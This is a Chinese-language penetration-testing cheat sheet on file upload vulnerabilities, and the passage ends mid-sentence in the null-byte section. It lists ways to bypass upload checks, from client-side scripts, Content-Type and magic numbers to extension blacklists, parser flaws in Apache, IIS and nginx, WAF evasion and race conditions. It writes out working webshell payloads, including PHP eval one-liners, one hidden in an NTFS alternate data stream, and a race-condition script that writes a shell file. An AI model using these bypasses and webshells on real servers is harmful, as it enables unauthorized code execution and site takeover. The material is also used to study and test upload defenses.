- 一般是指上传web脚本文件能够被服务器解析的漏洞
- 利用条件:
- 上传文件后所在的目录在Web容器可以覆盖到的地方,可以被Web容器解释执行
- 能够访问到该文件
- 上传后的文件保持功能完整
突破文件上传检测
1. 客户端检测
- 特点:在点击上传的时,客户端没有向服务器发送任何消息之前,就提示上传文件非法
- 解决:
- 禁用浏览器JavaScript脚本
- 先改成合法后缀名,在发送过程中截包,修改会正常后缀
2. Content-Type检测文件类型
- 原理:服务器对HTTP报头中的
Content-Type
字段进行检测 - 解决:使用截包工具对
Content-Type
字段进行修改
3. 文件内容检测
解决:截包之后添加伪造的文件头或直接制作图片马
类型 | 幻数 |
---|---|
jpg | FFD8FFE000104A464946 |
gif | 474946383961 |
png | 89504E47 |
其中gif
的幻数最为简单,直接使用ASCII值GIF89a
即可
图片马:copy normal.jpg /b + test.php /a test.jpg
4. 后缀名黑名单
- 利用黑名单的漏网之鱼,利用操作系统文件命名规则,利用Web服务组件解析漏洞
-
大小写混用
pHp
、aSp
之类(Linux下也可用) -
Windows会自动去掉不符合规则符号后面的内容
test.asp.
test.asp(空格)
test.php_
test.php:1.jpg
test.php::$DATA
test.php::$DATA1.jpg 生成1.jpg
-
利用NTFS ADS特性:使用
echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg
生成一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>
,这样子就可以正常解析我们的一句话了。 -
能被解析的不常见扩展名:
jsp
:jspx
、jspf
、jsps
asp
:asa
、cer
、aspx
、cdx
、ashx
、htr
、asax
php
:php3
、php4
、php5
、php7
、phpt
、phtml
exe
:exee
-
利用PHP和Windows环境的叠加性,存在以下对应关系,问题出在
move_uploaded_file
函数对文件名的解析符号 对应正则符号 " . > ? < *
5. 解析漏洞:
5.1 Apache
-
Apache的解析规则为:从右至左依次尝试,直至识别
eg: 1.php.xxx
-
换行解析:2.4.0~2.4.29版本中的漏洞
1.php x0A
会被按照PHP进行解析
5.2 IIS
- 畸形目录解析(<=6.0):
.asp
结尾的目录下面,被IIS当做网页解析/xxxxx.asp/xxxxx.jpg
- 分号文件解析:IIS解析时忽略分号后面的部分
test.asp;.jpg
- 开启fast-cgi引起的畸形解析:在文件路径后面加上
/xx.php
会将原来的文件解析成php文件。xxx.jpg/.php
或者xxx.jpg/不存在.php
5.3 nginx
-
在fast-cgi引起的畸形解析(和IIS一样)
-
空字节代码执行:
xxx.jpg%00.php
-
文件名逻辑漏洞:
/test.jpg .php
中间有空格 -
路径穿越(配置不当):可以通过访问
/files../
的方式穿越路径//正确配置 location /files/ { alias /home/; } //错误配置 location /files{ alias /home/; }
6. 配合文件包含
- 校验规则检测脚本文件中是否含有木马
- 上传一个内容为木马的其他类型文件
- 上传脚本文件,内容为引用之前的文件
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
<%@include file="上传的txt文件路径"%>
7. 对于一些WAF
7.1 垃圾数据
构造超大文件,前面为垃圾内容,后面为真正脚本内容
7.2 利用非预期HTTP方法
-
服务器对POST方法上传的文件进行过滤
-
使用GET方法上传
7.3 非预期字符
- 删除报文中的
Conten-Type
字段 - 在
boundary=
后增加空格或其他字符 - 超长文件名
shell.asp;火火火火火火火火火火火火火火火火火火火火火火火火火火火火.jpg
8. 文件加载检测
调用API函数进行加载测试,常见的是图像渲染测试、二次渲染
- 图像渲染绕过:使用代码注入绕过
- 在图片文件空白区域填充代码
- 二次渲染:攻击加载器本身
- 找到经过页面所调用的库转化后没有改变的部分,将相应部分改为代码
9. 条件竞争
目前看到两种思路:
- 首先上传一个写Shell的php
<?php fputs(fopen('shell.php',w),'<?php @eval($_POST["p"]);?>');?>
,while1循环访问该文件,持续上传,直到竞争完成文件创建。 - 循环上传一句话,持续尝试访问该页面。
10. 00截断
-
两种情况:一种是
%00
,一种是0x00
-
前者用在GET传参,
%00
作为URL会被URL解码,对应的是